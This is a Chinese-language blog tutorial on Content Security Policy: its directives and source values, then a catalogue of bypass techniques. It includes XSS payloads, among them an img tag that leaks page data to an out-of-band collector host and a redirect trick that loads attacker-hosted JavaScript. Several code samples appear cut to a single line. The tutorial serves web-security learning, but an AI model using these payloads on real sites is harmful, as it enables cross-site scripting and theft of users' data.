CSP策略与绕过
之前在同源策略中提到过CSP,也就是内容安全策略。CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。合理地配置好CSP能够避免绝大部分的XSS攻击。
CSP的引入方式
有两种方式启用CSP:
- 通过HTTP头部得
Content-Security-Policy
字段
1 | Content-Security-Policy: script-src 'self'; object-src 'none'; |
- 通过HTML标签
<meta>
1 | <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"> |
CSP常用指令
CSP会限制以下资源的加载:
- child-src:指定定义了 web workers 以及嵌套的浏览上下文(如
<frame>
和<iframe>
)的源 - connect-src:限制能通过脚本接口加载的URL。
- font-src :定义了字体加载的有效来源
- img-src :定义了图片或者图标加载的有效来源
- media-src: 定义了媒体文件加载的有效来源如HTML6的
<audio>
,<video>
等元素 - object-src:限制
<object>
,<embed>
或者<applet>
标签的源地址。 - style-src :定义页面中CSS样式的有效来源
- script-src :定义页面中javascript有效来源
- worker-src:限制Worker、SharedWorker或者ServiceWorker脚本源。
- manifest-src: 限制应用声明文件的源地址。
- frame-src: 设置允许通过类似
<frame>
和<iframe>
标签加载的内嵌内容的源地址。 - default-src:定义了那些没有被更精确指令指定的安全策略。
如果同时设置某个单项限制(比如
font-src
)和default-src
,前者会覆盖后者,即字体文件会采用font-src
的值,其他资源依然采用default-src
的值。
选项值
每个限制选项可以设置以下几种值,这些值就构成了白名单。
- 主机名:
example.org
,https://example.com:443
- 路径名:
example.org/resources/js/
- 通配符:
*.example.org
,*://*.example.com:*
(表示任意协议、任意子域名、任意端口) - 协议名:
https:
、data:
- 关键字
'self'
:当前域名,需要加引号 - 关键字
'none'
:禁止加载任何外部资源,需要加引号
多个值也可以并列,用空格分隔。
1 | Content-Security-Policy: script-src 'self' https://apis.google.com |
如果同一个限制选项使用多次,只有第一次会生效。
1 | # 错误的写法 |
如果不设置某个限制选项,就是默认允许任何值。
script-src 的特殊值
除了常规值,script-src
还可以设置一些特殊值。注意,下面这些值都必须放在单引号里面。
- **
'unsafe-inline'
**:允许执行页面内嵌的<script>
标签和事件监听函数 - unsafe-eval:允许将字符串当作代码执行,比如使用
eval
、setTimeout
、setInterval
和Function
等函数。 - nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行。但是这个随机字符串,应当是唯一,不应该是写死的。如果是固定的nonce值,那么nonce没有任何意义,因为攻击者可以将自己注入的script标签也添加上相同的nonce值。
example:服务器发送网页的时候,告诉浏览器一个随机生成的token
1 | Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa' |
页面内嵌脚本,必须有这个token才能执行。
1 | <script nonce=EDNnf03nceIOfn39fn3e9h3sdfa> |
- hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。
example:服务器给出一个允许执行的代码的hash值。
1 | Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng=' |
下面的代码就会允许执行,因为hash值相符。
1 | <script>alert('Hello, world.');</script> |
注意,计算hash值的时候,<script>
标签不算在内。
除了script-src
选项,nonce值和hash值还可以用在style-src
选项,控制页面内嵌的样式表。
CSP绕过
跳转
当URL允许script-src 'unsafe-inline'
时,可以执行脚本但是由于CSP无法将数据发送出去,这时候可以利用window.open
、location
、<a>
跳转
1 | Content-Security-Policy:default-src 'self' ;script-src 'unsafe-inline' |
DNS预加载
一般来说,self
代表只接受符合同源策略的URL,这样一来,大部分的XSS和CSRF都会失效。但<link>
标签除外。我们可以通过<link>
标签绕过CSP。
1 | Content-Security-Policy:default-src 'self' ;script-src 'unsafe-inline' |
这样,我们可以通过预加载,将数据添加到<link>
标签的DNS预解析的子域名中,从DNS记录中拿到数据。
Iframe
当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建<iframe>
用JavaScript直接操作A页面的DOM,可以说A页面的CSP防护完全失效。
A页面:
1 | <!-- A页面 --> |
B页面:
1 | <!-- B页面 --> |
CDN
一般站点都会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险。
这里给出orange师傅绕hackmd CSP的文章Hackmd XSS
案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP。
1 | <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;"> |
站点可控静态资源
给一个绕过codimd的(实例)codimd xss
当网站允许 unsafe-eva
l 且允许google-analytics
谷歌分析站点的JS加载时,我们可以利用Google Tag Manager 自定义JS,生成一个自定义JavaScript内容的google-analytics
的链接。
1 | <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com"> |
站点可控JSONP
大部分站点的jsonp是完全可控的,只不过有些站点会让JSONP不返回HTML类型防止直接的反射型XSS,但是如果将URL插入到<script>
标签中,除非设置x-content-type-options
头,否者尽管返回类型不一致,浏览器依旧会当成JS进行解析。
1 | <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com"> |
下面是一些存在用户可控资源或者jsonp比较常用站点的github项目:https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt
Base-uri
当服务器CSP script-src
采用了nonce
时,如果只设置了default-src没有额外设置base-uri
,就可以使用<base>
标签使当前页面上下文为自己的vps,如果页面中的合法<script>
标签采用了相对路径,那么最终加载的JS就是针对<base>
标签中指定URL的相对路径。
1 | <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'"> |
利用浏览器自动补全
- 情形一
1 | <?php |
如上这种情况, 注入点在<script>
标签的正上方,可以输入
1 | <script src=data:text/plain,alert(1) |
利用浏览器的自动补全,<script
会变成一个属性,后面的nonce属性也被保留下来,所以绕过了nonce。
这里在chrome浏览器失效,但是在火狐浏览器可以。
- 情形二
1 | <?php |
如下这种情况,注入点在需要带出的数据上方。我们的目标是拿到注入点下方一个标签的数据。可以看到,前提<img>
标签是允许加载跨域的。
1 | <img src="http://t6n089.ceye.io?a= |
这里仍然是chrome无效,火狐有效
meta网页跳转
在default-src ‘none’的情况下,可以使用meta标签实现跳转
1 | Content-Security-Policy: default-src 'self';script-src 'nonce-test' |
object-src(PDFXSS)
1 | <meta http-equiv="Content-Security-Policy" content="script-src 'self'"> |
在CSP标准里面,有一个属性是object-src
,它限制的是<embed>
、<object>
、<applet>
标签的src,也就是插件的src,于是我们可以通过插件来执行JavaScript代码,插件的JS代码并不受script-src
的约束。PDF文件中允许执行javascript脚本,但是之前浏览器的PDF解析器并不会解析PDF中的JS,但是之前chrome的一次更新中突然允许加载PDF的JavaScript脚本。
1 | <embed width="100%" height="100%" src="http://192.168.91.140/test.pdf"></embed> |
当然pdf的xss并不是为所欲为,比如pdf-xss并不能获取页面cookie,但是可以弹窗,url跳转等
具体可以看看这篇文章https://blog.csdn.net/microzone/article/details/52850623
当然,上面的例子并没有设置default-src,所以我们可以用外域的pdf文件,如果设置了default-src,我们必须找到一个pdf的上传点,(当然能上传的话直接访问这个pdf就能xss了2333),然后再用标签引用同域的pdf文件。
SVG
SVG作为一个矢量图,但是却能够执行JavaScript脚本,如果页面中存在上传功能,并且没有过滤SVG,那么可以通过上传恶意SVG图像来XSS。
1 | <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" /> |
302重定向
1 | <?php |
这里CSP没有设置default-src
,只设置了script-src
中仅仅允许了两个域:
- 自己的域
http://192.168.91.140/a
在第一个域下的某个位置有个可以定义重定向的页面,比如http://127.0.0.1/302.php
1 |
|
然后我们需要有一个上传文件的域,这里是http://192.168.91.140/b/
,我们上传的文件都放在这个文件夹,由于我们设置的script-src
并不包含这个域,因此不能使用<script>
标签直接引用这个域下的内容,但是script-src
包含了http://192.168.91.140/a/
这个域,也就是我们上传目录的根域和他允许的域的根域是一样的,那么我们就可以利用重定向来绕过CSP。
payload:
1 | ?input=<script src="http://127.0.0.1/CSP/302.php?url=http://192.168.91.140/b/xss.js"> |
b.js
1 | var xml = new XMLHttpRequest(); |
浏览器缓存
这个是用来绕过script nonce
的一个方法:通过浏览器缓存来bypass CSP script nonce
这个看了个大概意思,也不知道行不行:
就是利用修改location.hash
览器不会请求服务器,那么nonce string就不会更换的方法。先找到要攻击页面的同源域下的另一个没有CSP保护的页面,在这个页面构造XSS,先开一个<iframe>
请求要攻击的页面,获取到nonce值后,再新建一个<iframe>
,添加带有nonce字符串的<iframe>
窗口请求要攻击的页面,执行任意XSS。其中所有的<iframe>
的src
属性都只修改#
后面的内容来避免刷新nonce
。
上传带有JS的文件
下面的方法其实不算是绕过CSP,实际上是绕过了上传的过滤规则,然后在域内进行调用,其实是遵守了CSP的规则。
- 带有JS的JPEG
using polyglot JPEGs bypass CSP 分析
- 带有JS的Wave
参考资料
- Post title:CSP策略与绕过
- Post author:John_Frod
- Create time:2021-03-24 16:27:21
- Post link:https://keep.xpoet.cn/2021/03/24/CSP策略与绕过/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.